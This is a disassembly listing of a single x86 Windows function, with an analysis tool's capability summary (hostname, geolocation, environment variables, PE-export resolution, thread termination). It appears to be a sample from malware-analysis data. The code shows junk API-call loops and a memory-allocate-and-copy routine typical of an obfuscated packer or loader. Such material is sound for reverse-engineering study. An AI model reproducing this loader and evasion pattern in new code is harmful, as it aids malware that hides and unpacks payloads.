Function at 0x4142d0
Capabilities:
Get common file path
Get geographical location
Get hostname
Manipulate console buffer
Print debug messages
Query environment variable
Resolve function by parsing pe exports
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4160a7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1f70
call fcn.004131a0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push esi
mov esi, dword [esp + 0x14]
xor eax, eax
push edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x14], eax
cmp eax, 0x2c787
jge 0x41432b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x14]
cmp dword [0xc03f44], 0x6fb
jne 0x414384
push 0x30
lea eax, [esp + 0xf0]
push 0
push eax
mov dword [esp + 0xf4], 0
call fcn.0040b890
add esp, 0xc
push 0
lea ecx, [esp + 0xec]
push ecx
push 0x403fc4
call ebx
push 0
lea edx, [esp + 0x784]
push edx
push 0x403fec
call ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [esp + 0x14]
cmp eax, 0x1e7d3ede
jle 0x4143a2
cmp dword [esp + 0x18], 0xc0f3f2
je 0x4143a2
cmp dword [esp + 0xf4], 0x9374828
jne 0x4143b4
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x7d9ed
jl 0x414314
jmp 0x4143e8
cmp dword [0xc03f44], 0x28
jne 0x4143e8
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x384]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x130]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0xc03f44], 0xcf8
jne 0x4145be
push 0
push 0
call fcn.0040842b
xor eax, eax
xor ebx, ebx
push 0x404024
mov dword [esp + 0x40], 7
mov dword [esp + 0x3c], ebx
mov word [esp + 0x2c], ax
call fcn.00408527
mov esi, eax
add esp, 0xc
lea eax, [esp + 0x20]
call fcn.004063c0
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x1f90], ebx
call fcn.00405900
cmp dword [esp + 0x34], 8
jb 0x414457
mov edx, dword [esp + 0x20]
push edx
call fcn.0040867c
add esp, 4
push ebx
call fcn.00408785
add esp, 4
push ebx
call fcn.00408665
add esp, 4
push ebx
push ebx
call fcn.00408687
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407da8
add esp, 0x1c
push ebx
push ebx
push ebx
push ebx
call fcn.00407efd
mov ecx, dword [esp + 0x58]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xb0]
add esp, 0x10
mov dword [esp + 0x14], eax
mov dword [esp + edx + 0x48], 0x404294
mov dword [esp + 0x1f8c], 1
test byte [esp + 0x98], 1
lea eax, [esp + 0x58]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x58], 0x404254
je 0x4144d7
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
push eax
call fcn.0040867c
add esp, 4
mov edx, dword [esp + 0x68]
mov dword [edx], ebx
mov eax, dword [esp + 0x78]
mov dword [eax], ebx
mov ecx, dword [esp + 0x88]
mov dword [ecx], ebx
mov edx, dword [esp + 0x6c]
mov dword [edx], ebx
mov eax, dword [esp + 0x7c]
mov dword [eax], ebx
mov ecx, dword [esp + 0x8c]
mov dword [ecx], ebx
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebx
mov dword [esp + 0x58], 0x40420c
mov byte [esp + 0x1f8c], 2
mov eax, dword [esp + 0x90]
mov ebp, eax
cmp eax, ebx
je 0x414578
mov edi, dword [eax]
cmp edi, ebx
je 0x41456f
push ebx
lea ecx, [esp + 0x1c]
call fcn.0040747c
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41454d
cmp eax, 0xffffffff
jae 0x41454d
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.004074a4
cmp esi, ebx
je 0x41456f
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040867c
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x1f8c], 1
call fcn.004074d5
mov dword [esp + 0x1f8c], 0xffffffff
mov ecx, dword [esp + 0x48]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xa0]
mov dword [esp + edx + 0x48], 0x40424c
push eax
mov dword [esp + 0xa4], 0x4041f8
call fcn.00406fab
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ebp, dword [sym.imp.KERNEL32.dll_IsWow64Process]
xor esi, esi
cmp esi, 0x408
jne 0x4145e5
mov eax, 0x5d1
add dword [0xc03f44], eax
cmp dword [0xc03f44], 0xca3
jne 0x41460f
push 0x404058
call edi
push 0
lea ecx, [esp + 0x784]
push ecx
push 0
call ebx
lea edx, [esp + 0x1c]
push edx
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4145d2
mov eax, dword [0xc03f44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xc03eac], eax
mov eax, dword [0xc03f44]
xor esi, esi
test eax, eax
je 0x414758
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
lea esp, [esp]
cmp eax, 0xfe
jne 0x4146ab
push 0
lea ecx, [esp + 0x784]
push ecx
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x130]
push edx
push 0x4040b8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xec]
push ecx
push 0x4040d4
call ebx
mov eax, dword [0xc03f44]
cmp eax, 0x37
jne 0x414709
push 0
lea edx, [esp + 0x384]
push edx
push 0
push 0x403f58
push 0
push 0
call ebp
push 0x403f70
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
lea eax, [esp + 0x130]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403f94
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0xc04f38]
mov dword [esp + 0x14], ecx
mov eax, 0x5d1
add dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
mov al, byte [edx + esi]
mov ecx, dword [0xc03eac]
mov byte [ecx + esi], al
mov eax, dword [0xc03f44]
cmp eax, 0x29
jne 0x41474f
push 0
lea edx, [esp + 0x784]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xc03f44]
inc esi
cmp esi, eax
jb 0x414650
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov ebx, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x41478a
push 0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, dword [0xc03f44]
cmp eax, 0xdf
jne 0x4147db
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x28], eax
call ebp
xor eax, eax
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0xec]
push ecx
push eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call ebx
mov eax, dword [0xc03f44]
dec dword [esp + 0x18]
jne 0x414778
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebx, 0x25887
mov edi, 0xabebc05c
mov dword [0xc03eb4], edi
cmp eax, 0x222
jne 0x414817
push 0
push 0
push 0
push 0x4040f8
push 0x404138
push 0
call esi
mov eax, dword [0xc03f44]
dec ebx
jne 0x4147f1
mov byte [0x4af8f8], bl
call fcn.00413ce0
call fcn.00414080
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
cmp dword [0xc03f44], 0xba
jne 0x414852
push 0
push 0
push 0
call ebp
push 0
call edi
push 0
call ebx
cmp esi, 0x2f64
jne 0x41486d
mov eax, 0
add dword [0xc03eac], eax
inc esi
cmp esi, 0x1605a
jl 0x41483e
push 0x403ed0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xc03f44], 0xc30
jne 0x41494e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea edx, [esp + 0x130]
push edx
push 0x404158
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x404188
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x38c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea edx, [esp + 0x784]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
call esi
push 0
lea edx, [esp + 0xf84]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
lea eax, [esp + 0x1784]
push eax
push 0x4041b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
lea ecx, [esp + 0x40]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [esp + 0x1f84]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret